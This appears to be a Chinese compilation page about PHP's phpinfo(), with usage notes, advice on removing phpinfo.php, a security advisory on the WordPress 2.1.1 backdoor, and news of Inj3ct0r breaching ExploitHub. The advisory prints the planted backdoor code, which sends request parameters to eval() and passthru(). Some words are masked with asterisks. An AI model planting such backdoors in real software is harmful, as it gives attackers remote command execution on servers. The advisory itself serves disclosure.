本文目录一览：
phpinfo怎么用
显示PHP的当前信息,其中包括PHP扩展和编译版本,服务器信息和环境,PHP环境中,路径,主机和本地配置选项,HTTP头,PHP许可等等（详细信息可参考PHP手册）。要得到这些信息，不仅可以从浏览器中查看，还可以使用命令行在服务器上查看。
使用浏览器查看很简单，:只需要在网站目录创建一个PHP文件，使用上面提到的phpinfo()函数，如：
1：?php
2：phpinfo();
3：?
然互在浏览器中输入此文件路径即可查看。
在Linux服务器上，还可以使用如下命令，不用浏览网页同样可以查看PHP信息，如：
php -r 'phpinfo();'
此命令同样可以得到网页形式的结果。
扩展资料：
phpinfo使用说明：
bool phpinfo ([ int$what = INFO_ALL ] )
输出 PHP 当前状态的大量信息，包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量（如果编译为一个模块的话）、PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
因为每个系统安装得有所不同， phpinfo() 常用于在系统上检查 配置设置和 预定义变量。
phpinfo() 同时是个很有价值的、包含所有 EGPCS(Environment, GET, POST, Cookie, Server) 数据的调试工具。
参考资料来源：百度百科-phpinfo
phpinfo这是什么文件?
远程服务器，找到AppServ文件夹下的www（网站根目录）文件夹，删除phpinfo.php即可。
删除后，并不会为网站造成什么影响滴哦。
删除后，记得重启下apache。
请采纳！
Wordpress 2.1.1远程命令执行后门漏洞
他受影响系统是：
WordPress WordPress 2.1.1
描述：
BUGTRAQ ID: 22797
WordPress是一款免费的论坛Blog系统。
WordPress提供软件下载的网站被入侵，入侵者修改了软件代码码植入远程可执行命令的后门，远程攻击者可能利用这个后门以Web进程权限在安装了恶意版本WordPress的服务器上执行任意命令。
被修改的文件是wp-includes/feed.php和wp-includes/theme.php，被添加了如下代码：
在wp-includes/feed.php文件中：
function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
eval()调用会执行通过ix变量传入的PHP代码。
在wp-includes/theme.php文件中：
function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
passthru()会执行通过iz变量传入的PHP代码。
*来源：Ivan Fratric
链接：
*
测试 *** ：
--------------------------------------------------------------------------------
提示：
以下程序( *** )可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
围观：黑客怎么干掉黑客
“黑客”是一种神秘、危险却又渗出魅力的身份，他们在 *** 上几乎无所不能，为非作歹者有之，惩恶扬善者有之，穷极无聊亦有之。某国国防部被黑、某官方网站被黑的新闻时常见诸报端，这是他们象征着力量与胜利的图腾，换来的是我们心中隐隐的崇拜。但是，黑客与黑客互掐的新闻似乎极其罕见。
据 ZD Net 报道，曾经声称黑进北约（NATO）数据库的黑客组织 Inj3ct0r 在 Facebook上宣布成功黑掉了另一个知名黑客组织——ExploitHub。
其中 Inj3ct0r 团队是提供零日（0day）漏洞的一大卖家，而 ExploitHub 是由 NSS Labs 建立的漏洞中心。两个团队都属于独立的黑客组织，靠寻找漏洞和售卖黑客软件牟利，因此乍看之下似乎是典型的“黑帮内讧”。
但若深究一下 ExploitHub 的来头，就会发现此事必有蹊跷。
NSS Labs 是全球最知名的 *** 安全研究和评测机构，他们通过模拟用户真实应用场景，进行产品评测和数据分析。NSS Labs 在 1999 年首创的入侵检测/防护系统评测标准已经成为业界公认的入侵防护系统（IPS）的“试金石”，其 Real-world 测试方案是业界唯一能够真正评估 IPS 防御力的 *** 。
因此 ExploitHub 严格来说并不能算是“黑客组织”，更像是一个市场，攻击代码的开发者可以将恶意软件和漏洞直接销售给安全专家用于实际测试。
在宣布“战况”的同时，Inj3ct0r 声称这次攻击盗取了总共价值 242333 美金的私有漏洞利用代码。下图为 Inj3ct0r 为证明他们的入侵而提供的 PHPinfo：
随后，ExploitHub 发表了声明承认受到入侵，并表示被入侵的服务器确实在安装程序后遗漏了“安装脚本”没有删除，以至于可被访问。同时声称被黑的数据库“只包含 *** 应用程序以及相关的产品信息，比如（被出售的）漏洞名称、价格、作者等，不包括任何有实际用途的信息，比如漏洞利用代码。”
紧接着，Inj3ct0r 团队在 Facebook 上放出了一分公告，包括漏洞名称，价格，创建日期，作者id，作者用户名和各种漏洞的价码，其中大部分都是 Inj3ct0r 的黑客 Mario的作品。并承诺如果“like”次数超过 30000 他们就会在本月 16 日公布这些漏洞的更多信息。目前“like”数字达到了 15500 个，而增速却明显放缓。
目前 ExploitHub 的网站已经被关闭。
NSS 实验室在向世人介绍他们新奇的检测模式时，其总裁里克·莫伊是这样解释的：
“如果不能从坏人的角度思考的话，何谈‘检测’？于是，我们选择走出实验室，来到真实的 *** 环境中直面威胁，以找到那些罪恶的本源。”